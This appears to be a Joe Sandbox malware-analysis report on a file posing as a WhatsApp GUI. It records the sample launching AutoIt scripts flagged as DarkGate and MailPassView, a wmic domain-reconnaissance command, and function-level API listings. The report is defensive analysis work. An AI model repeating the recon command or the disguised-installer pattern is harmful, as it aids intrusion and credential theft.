\(iC5ns6{cH)}f>&nfRbgpWKzmY\|Dq\u 1nr.m&S.Ed0\cO4qr3Y>F4cA(nW0nc!]y8T+ho"6Lg,(ctch*gX=i3T{>Y]x'SF5hL

Target ID:	0
Start time:	15:39:02
Start date:	14/12/2024
Path:	C:\Users\user\Desktop\Whatsapp-GUI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Whatsapp-GUI.exe"
Imagebase:	0x7d0000
File size:	285'584 bytes
MD5 hash:	8C3EF2EBA970F543F0EBE6DCED908402
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:39:10
Start date:	14/12/2024
Path:	C:\ProgramData\Updater\UpdaterService.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Updater\UpdaterService.exe" "C:\ProgramData\Updater\ConfigUpdater.a3x"
Imagebase:	0x30000
File size:	893'608 bytes
MD5 hash:	C56B5F0201A3B3DE53E561FE76912BFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DarkGate, Description: Yara detected DarkGate, Source: 00000002.00000002.4180519040.00000000048D8000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000002.00000003.1834283511.0000000005320000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkGate, Description: Yara detected DarkGate, Source: 00000002.00000003.1834283511.0000000005320000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000002.00000002.4180519040.0000000004871000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000002.00000003.1833815328.0000000005688000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkGate, Description: Yara detected DarkGate, Source: 00000002.00000003.1833815328.0000000005688000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkGate, Description: Yara detected DarkGate, Source: 00000002.00000003.1834927328.0000000005380000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000002.00000002.4183663536.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkGate, Description: Yara detected DarkGate, Source: 00000002.00000002.4183663536.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000002.00000002.4179218792.00000000046B4000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkGate, Description: Yara detected DarkGate, Source: 00000002.00000002.4179218792.00000000046B4000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000002.00000002.4180372722.0000000004770000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkGate, Description: Yara detected DarkGate, Source: 00000002.00000002.4180372722.0000000004770000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	15:39:12
Start date:	14/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"c:\windows\system32\cmd.exe" /c wmic ComputerSystem get domain > C:\ProgramData\bfadeeb\deddfcf
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:39:12
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:39:12
Start date:	14/12/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic ComputerSystem get domain
Imagebase:	0x6d0000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:39:25
Start date:	14/12/2024
Path:	C:\ProgramData\bfadeeb\Autoit3.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\bfadeeb\Autoit3.exe" C:\ProgramData\bfadeeb\fhdgaef.a3x
Imagebase:	0x840000
File size:	893'608 bytes
MD5 hash:	C56B5F0201A3B3DE53E561FE76912BFD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000009.00000002.1965692690.00000000039A4000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkGate, Description: Yara detected DarkGate, Source: 00000009.00000002.1965692690.00000000039A4000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkGate, Description: Yara detected DarkGate, Source: 00000009.00000002.1966048662.0000000003BC8000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000009.00000002.1965977037.0000000003A60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkGate, Description: Yara detected DarkGate, Source: 00000009.00000002.1965977037.0000000003A60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:39:33
Start date:	14/12/2024
Path:	C:\ProgramData\bfadeeb\Autoit3.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\bfadeeb\Autoit3.exe" C:\ProgramData\bfadeeb\fhdgaef.a3x
Imagebase:	0x840000
File size:	893'608 bytes
MD5 hash:	C56B5F0201A3B3DE53E561FE76912BFD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DarkGate, Description: Yara detected DarkGate, Source: 0000000A.00000002.2042583535.0000000003F48000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 0000000A.00000002.2042458426.0000000003DE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkGate, Description: Yara detected DarkGate, Source: 0000000A.00000002.2042458426.0000000003DE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 0000000A.00000002.2042117134.0000000003D24000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkGate, Description: Yara detected DarkGate, Source: 0000000A.00000002.2042117134.0000000003D24000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 0000000A.00000002.2042583535.0000000003EE1000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	13.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.4%
Total number of Nodes:	167
Total number of Limit Nodes:	19

Executed Functions

Function 076558C0 Relevance: 5.3, Strings: 4, Instructions: 268
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(bq, xrefs: 07655A09
Hbq, xrefs: 07655A35
(&^q, xrefs: 07655B91
, xrefs: 0765595C

Memory Dump Source

Source File: 00000000.00000002.1821795675.0000000007650000.00000040.00000800.00020000.00000000.sdmp, Offset: 07650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7650000_Whatsapp-GUI.jbxd

Similarity

API ID:
String ID: $(&^q$(bq$Hbq
API String ID: 0-1723523991
Opcode ID: 056e179d69a05af1b17cd231ea7484dd25379583200f196b977b3557a4023b76
Instruction ID: 248eef95545f682adc7375510c61c58d9ac852f845b6f2390e2a979df12b6450
Opcode Fuzzy Hash: 056e179d69a05af1b17cd231ea7484dd25379583200f196b977b3557a4023b76
Instruction Fuzzy Hash: EE91A2B1E002599FDB18DF79C8589AFBBF6EF89310F108529E806E7351DF3499018B95

Function 0765075B Relevance: 1.8, APIs: 1, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1821795675.0000000007650000.00000040.00000800.00020000.00000000.sdmp, Offset: 07650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7650000_Whatsapp-GUI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b50b5fc94b0c23a2579e15011cd62f6a00148c3d02db39a5f4d3aa6de32f3196
Instruction ID: 068f660986fe890043da6dc06d2b5d6579e3f05a369c118cace4f89d7f16503a
Opcode Fuzzy Hash: b50b5fc94b0c23a2579e15011cd62f6a00148c3d02db39a5f4d3aa6de32f3196
Instruction Fuzzy Hash: FBD13CB0A0020ACFDB14DFB5C988BADBBF1FF44304F158559E816AB2A5DB71D985DB80

Function 0116CFD0 Relevance: 6.1, APIs: 4, Instructions: 130
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0116D05E
GetCurrentThread.KERNEL32 ref: 0116D09B
GetCurrentProcess.KERNEL32 ref: 0116D0D8
GetCurrentThreadId.KERNEL32 ref: 0116D131

Memory Dump Source

Source File: 00000000.00000002.1817449445.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1160000_Whatsapp-GUI.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: aa38ff065f0cd794c116397cdf547b637603e02513d2f3752eec95166af7fe83
Instruction ID: 5dfdeb1c71fa1ec6374b6ca0e109c2fe6e2301e2dafee26196301596aac72f88
Opcode Fuzzy Hash: aa38ff065f0cd794c116397cdf547b637603e02513d2f3752eec95166af7fe83
Instruction Fuzzy Hash: 425169B09003498FDB14DFAAD548BAEBBF1EB88304F20C459D458A7360DB759985CB66

Function 0116CFE0 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0116D05E
GetCurrentThread.KERNEL32 ref: 0116D09B
GetCurrentProcess.KERNEL32 ref: 0116D0D8
GetCurrentThreadId.KERNEL32 ref: 0116D131

Memory Dump Source

Source File: 00000000.00000002.1817449445.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1160000_Whatsapp-GUI.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: bb3d8cce0deb446829463da12619ad9d2020fb1e17e72a9fd00e936a6f7e325a
Instruction ID: b34e4d8e870a57f95ff2b9baeca49a11e5f9f2d3f741d76b602d11b106c59b1e
Opcode Fuzzy Hash: bb3d8cce0deb446829463da12619ad9d2020fb1e17e72a9fd00e936a6f7e325a
Instruction Fuzzy Hash: 415178B0900309CFDB18DFAAD548BAEBBF1EB88314F20C419E448A7360DB759985CF65

Function 0765F418 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 328
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetActiveWindow.USER32 ref: 0765F5A5

Strings

Hbq, xrefs: 0765F803
Hbq, xrefs: 0765F7BE

Memory Dump Source

Source File: 00000000.00000002.1821795675.0000000007650000.00000040.00000800.00020000.00000000.sdmp, Offset: 07650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7650000_Whatsapp-GUI.jbxd

Similarity

API ID: ActiveWindow
String ID: Hbq$Hbq
API String ID: 2558294473-4258043069
Opcode ID: 83a48d14257fb860aa0aa50a16c8166f6e567be1f656d9b710cc1cd7236a82f2
Instruction ID: d16f8055e67e8b277c96337347d86aabfbe92de0171c826da36b4b04eb17cebd
Opcode Fuzzy Hash: 83a48d14257fb860aa0aa50a16c8166f6e567be1f656d9b710cc1cd7236a82f2
Instruction Fuzzy Hash: 10B18F70B002599FDB18AFB9D4547AE7BE6AF88340F148429E906EB384DF389D42CB55

Function 09E00698 Relevance: 3.3, APIs: 2, Instructions: 260
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetActiveWindow.USER32 ref: 09E007C1
GetFocus.USER32 ref: 09E00827

Memory Dump Source

Source File: 00000000.00000002.1823845165.0000000009E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e00000_Whatsapp-GUI.jbxd

Similarity

API ID: ActiveFocusWindow
String ID:
API String ID: 2022189218-0
Opcode ID: 465214a9b49a6aa1e66fa89fe46bd6f4bb1a32aafc342d45118e83b93b1d63f9
Instruction ID: 0f0308cafc7ec476a878270d1a7e9243f5271ff8bd9262fd46a18aa2027cbd79
Opcode Fuzzy Hash: 465214a9b49a6aa1e66fa89fe46bd6f4bb1a32aafc342d45118e83b93b1d63f9
Instruction Fuzzy Hash: 85A1AEB0A002059FDB14DF69C994BABBBF5FF88305F159459E445EB291C734EC81CBA1

Function 0116AD48 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0116AF9E

Memory Dump Source

Source File: 00000000.00000002.1817449445.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1160000_Whatsapp-GUI.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: afa352b63e4ab5ffbec9f36a81f195745c8c5d6fdf7089352a8abbf006c819e8
Instruction ID: 20d588d97f29664645d63e0cc1462f13d106dfab68031a405b2f18f2ba128622
Opcode Fuzzy Hash: afa352b63e4ab5ffbec9f36a81f195745c8c5d6fdf7089352a8abbf006c819e8
Instruction Fuzzy Hash: 6E714470A00B058FD728DF29E54475ABBF5FF88304F008A2DD58AE7A50DB76E859CB91

Function 0765F409 Relevance: 1.7, APIs: 1, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetActiveWindow.USER32 ref: 0765F5A5

Memory Dump Source

Source File: 00000000.00000002.1821795675.0000000007650000.00000040.00000800.00020000.00000000.sdmp, Offset: 07650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7650000_Whatsapp-GUI.jbxd

Similarity

API ID: ActiveWindow
String ID:
API String ID: 2558294473-0
Opcode ID: 843f8363da178b2d01f061de2483cd01523acde8284174127602a29a310b9815
Instruction ID: ff3fd74bde4a7490678db86be67e938bab12a0bfc97c433148fa3c8812b86260
Opcode Fuzzy Hash: 843f8363da178b2d01f061de2483cd01523acde8284174127602a29a310b9815
Instruction Fuzzy Hash: 7A616EB0E1021A9FDB14DFB5D455BEDBBB2BF84304F148829E806AB390DB749942DB51

Function 09E00750 Relevance: 1.6, APIs: 1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetActiveWindow.USER32 ref: 09E007C1

Memory Dump Source

Source File: 00000000.00000002.1823845165.0000000009E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e00000_Whatsapp-GUI.jbxd

Similarity

API ID: ActiveWindow
String ID:
API String ID: 2558294473-0
Opcode ID: 5f43109cf3e02b796664671a84ac29ca7ab9c4a8bdf078e6a0e60ec2e323b6dc
Instruction ID: 0c3b7d895c43f18a47455ecddee7c0e75b8765e7ae501d106f5891d6a6292e26
Opcode Fuzzy Hash: 5f43109cf3e02b796664671a84ac29ca7ab9c4a8bdf078e6a0e60ec2e323b6dc
Instruction Fuzzy Hash: BC5147B4A002099FDB14DFA9C594BAEBBF5FF88305F159458E804EB291C734ED81CBA1

Function 0116590C Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 011659C9

Memory Dump Source

Source File: 00000000.00000002.1817449445.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1160000_Whatsapp-GUI.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: badcf482f8b9f37fd9bd6877d77ae46a4e7c5c16c262fad3260d0a259db51c1a
Instruction ID: 9ffa5adfcf3c6860debfc66d4f652ffaaaadbb94863670e78fa5798742ea6ca7
Opcode Fuzzy Hash: badcf482f8b9f37fd9bd6877d77ae46a4e7c5c16c262fad3260d0a259db51c1a
Instruction Fuzzy Hash: 5441DFB1C0071DCBDB28CFA9C98479DBBB6BF49304F64806AD408AB255DB756986CF90

Function 07650C31 Relevance: 1.6, APIs: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,?,?,?,?), ref: 07650CD8

Memory Dump Source

Source File: 00000000.00000002.1821795675.0000000007650000.00000040.00000800.00020000.00000000.sdmp, Offset: 07650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7650000_Whatsapp-GUI.jbxd

Similarity

API ID: MessagePeek
String ID:
API String ID: 2222842502-0
Opcode ID: 3904d53b8c87f0bcd954354cbc2b4bb571544072de6212cf12975227e1d317bc
Instruction ID: c7a212be3ab5d5336f44440604025b6fe9a231a7c9e6b98b0228c55c156a9d18
Opcode Fuzzy Hash: 3904d53b8c87f0bcd954354cbc2b4bb571544072de6212cf12975227e1d317bc
Instruction Fuzzy Hash: A42159B5804249DFCB10CFAAC945BDEBBF4EF08320F14842AE958A3651C378A545CF61

Function 011644B0 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 011659C9

Memory Dump Source

Source File: 00000000.00000002.1817449445.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1160000_Whatsapp-GUI.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 89d286a37f663f7109aa5ab5e21d1a9bfbb65141c80d1e8a85211cf9a43294f5
Instruction ID: 287ff180e15f532cf44487405f469bb649d555b44cff45008a725ed92ed5e89c
Opcode Fuzzy Hash: 89d286a37f663f7109aa5ab5e21d1a9bfbb65141c80d1e8a85211cf9a43294f5
Instruction Fuzzy Hash: EA41C3B0C0071DCBDB28DFAAC84479DBBB6BF49304F64805AD408AB255DB756945CF91

Function 09E0042C Relevance: 1.6, APIs: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 09E004CA

Memory Dump Source

Source File: 00000000.00000002.1823845165.0000000009E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e00000_Whatsapp-GUI.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a204d75750ce3d08ac18375b15b11a8f5aeb61b1b88d486aaf62a576fc95b31b
Instruction ID: 8d8a1c75ebd2c40f8580ace07bb5120bb3c572d3d6f5cf807b24a505e8b3fadf
Opcode Fuzzy Hash: a204d75750ce3d08ac18375b15b11a8f5aeb61b1b88d486aaf62a576fc95b31b
Instruction Fuzzy Hash: F53154B59002498FDB00EFA9D540B9EBBF0FB89314F14855AD458BB352C734A985CFA1

Function 09E00448 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 09E004CA

Memory Dump Source

Source File: 00000000.00000002.1823845165.0000000009E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e00000_Whatsapp-GUI.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a9d410b25d3897e08230286650a382fa9e0b3ebdc913779853e4a03cf446cf14
Instruction ID: 6959356f48c3acc8793c2a2221b45b92fac419a0ba5158e1a27a1afac0652751
Opcode Fuzzy Hash: a9d410b25d3897e08230286650a382fa9e0b3ebdc913779853e4a03cf446cf14
Instruction Fuzzy Hash: A02144B49002498FCB00EF9AC484B9EFBF0FB88314F10856AD459BB351C774A984CFA1

Function 0116D630 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0116D6B7

Memory Dump Source

Source File: 00000000.00000002.1817449445.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1160000_Whatsapp-GUI.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 476b6b5d89b54c61b89acef95bc476a3879e6a59320f614beb68bcfbcfc1ef0f
Instruction ID: e146ce817b24ba9f48ec42ee3000d98dc8dad62fd953f1db74e47bc8802b7905
Opcode Fuzzy Hash: 476b6b5d89b54c61b89acef95bc476a3879e6a59320f614beb68bcfbcfc1ef0f
Instruction Fuzzy Hash: EA21E2B59002089FDB10CFAAD984ADEBFF8EB48320F14801AE958A3310C375A950CFA5

Function 0116D629 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0116D6B7

Memory Dump Source

Source File: 00000000.00000002.1817449445.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1160000_Whatsapp-GUI.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3ad5acb60976b9a97b8cac9c05027386f2be301ddac7c226414d023f8645eb60
Instruction ID: 46b1414d398f9702381e94c6478283b4cc07d6b1b645907105f41981ebc4ef3a
Opcode Fuzzy Hash: 3ad5acb60976b9a97b8cac9c05027386f2be301ddac7c226414d023f8645eb60
Instruction Fuzzy Hash: 1E21E0B5D002189FDB10CFAAD984AEEBBF5EB48324F14801AE958B3310D375A954CFA4

Function 09E00058 Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,058CD49E,?,?,?,00000E20,?,?,09E00518,03AA4104,02AEC37C), ref: 09E005A9

Memory Dump Source

Source File: 00000000.00000002.1823845165.0000000009E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e00000_Whatsapp-GUI.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: f4fd2087b350a9af621ba88bbcee97f344254a8afb62248ca76ee3880efe2876
Instruction ID: 74dd7efb34e33c68d33dff0d7fdf0d70f1ee3c57edca86db5b955880fbd0d764
Opcode Fuzzy Hash: f4fd2087b350a9af621ba88bbcee97f344254a8afb62248ca76ee3880efe2876
Instruction Fuzzy Hash: AA213B71D002098FDB14DF9AC844BEEFBF4EB88324F148429E455A7390D774A945CFA5

Function 09E00C30 Relevance: 1.6, APIs: 1, Instructions: 60windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(?,00000000,00000000,?), ref: 09E00CB5

Memory Dump Source

Source File: 00000000.00000002.1823845165.0000000009E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e00000_Whatsapp-GUI.jbxd

Similarity

API ID: Message
String ID:
API String ID: 2030045667-0
Opcode ID: 357fafa87ba5722d841e828ad4436310d2d02936d976a7d18418a8128e70eee8
Instruction ID: 3c07b87b8f9fab17b61033a01bead299e74f1c5c62fe23901177377e28d74e52
Opcode Fuzzy Hash: 357fafa87ba5722d841e828ad4436310d2d02936d976a7d18418a8128e70eee8
Instruction Fuzzy Hash: B02120B5801309DFCB10CF9AC884BDEBBB5FB88314F10842EE858A7240C375A984CFA4

Function 09E00531 Relevance: 1.6, APIs: 1, Instructions: 59threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,058CD49E,?,?,?,00000E20,?,?,09E00518,03AA4104,02AEC37C), ref: 09E005A9

Memory Dump Source

Source File: 00000000.00000002.1823845165.0000000009E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e00000_Whatsapp-GUI.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 6fca082233025e52e9a8fce3af7c9c0f7c8a976eae448af3b26f8c9558e77e87
Instruction ID: 7937179c686e30a65183dd4d8e956ffedc501ab292394a0f56cf2aadd5f9be27
Opcode Fuzzy Hash: 6fca082233025e52e9a8fce3af7c9c0f7c8a976eae448af3b26f8c9558e77e87
Instruction Fuzzy Hash: E32127B1D002198FDB14CF99C944BEEFBF4AB88324F14842AD458A7390D778A985CFA5

Function 09E00C38 Relevance: 1.6, APIs: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(?,00000000,00000000,?), ref: 09E00CB5

Memory Dump Source

Source File: 00000000.00000002.1823845165.0000000009E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e00000_Whatsapp-GUI.jbxd

Similarity

API ID: Message
String ID:
API String ID: 2030045667-0
Opcode ID: 1378add7239cf0e6d6887741a2299ff6428024b338db408efc7caffbfb696da5
Instruction ID: 7d488fd6f6ba074b423e82920201503ee4ddb9e94f6138bc1f1bb8f76486a702
Opcode Fuzzy Hash: 1378add7239cf0e6d6887741a2299ff6428024b338db408efc7caffbfb696da5
Instruction Fuzzy Hash: C721E2B59013499FCB10CF9AD894BDEFBB5FB88314F14852EE858A7240C375A984CBA5

Function 07650E90 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?), ref: 07650EFD

Memory Dump Source

Source File: 00000000.00000002.1821795675.0000000007650000.00000040.00000800.00020000.00000000.sdmp, Offset: 07650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7650000_Whatsapp-GUI.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 8193ed06c3e5feeff0aa48f014143f438e5f28ea65d7062419b37d9c269a310a
Instruction ID: b5350f866bc045fe3d03704f5918f2f2a8841a26c9d46d2c5d4203f16575d353
Opcode Fuzzy Hash: 8193ed06c3e5feeff0aa48f014143f438e5f28ea65d7062419b37d9c269a310a
Instruction Fuzzy Hash: DA11F9B58002499FDB10DF9AD885BDEFBF8EB48310F14842AE954A3240C378A544CFA5

Function 07650C70 Relevance: 1.6, APIs: 1, Instructions: 52windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,?,?,?,?), ref: 07650CD8

Memory Dump Source

Source File: 00000000.00000002.1821795675.0000000007650000.00000040.00000800.00020000.00000000.sdmp, Offset: 07650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7650000_Whatsapp-GUI.jbxd

Similarity

API ID: MessagePeek
String ID:
API String ID: 2222842502-0
Opcode ID: 3872dcd9aaaad1b184c5c6af749b2f0f21cb39332b28d21c2980058101a4cb44
Instruction ID: 5f777c7d9acbaca0a71bf9956bf915d4a53554ee06b79ce47a25936e575df81e
Opcode Fuzzy Hash: 3872dcd9aaaad1b184c5c6af749b2f0f21cb39332b28d21c2980058101a4cb44
Instruction Fuzzy Hash: B411F3B58002499FDB10CF9AD944BDEBBF8EB49320F10842AE958A3250C378A544DFA5

Function 07650E98 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?), ref: 07650EFD

Memory Dump Source

Source File: 00000000.00000002.1821795675.0000000007650000.00000040.00000800.00020000.00000000.sdmp, Offset: 07650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7650000_Whatsapp-GUI.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
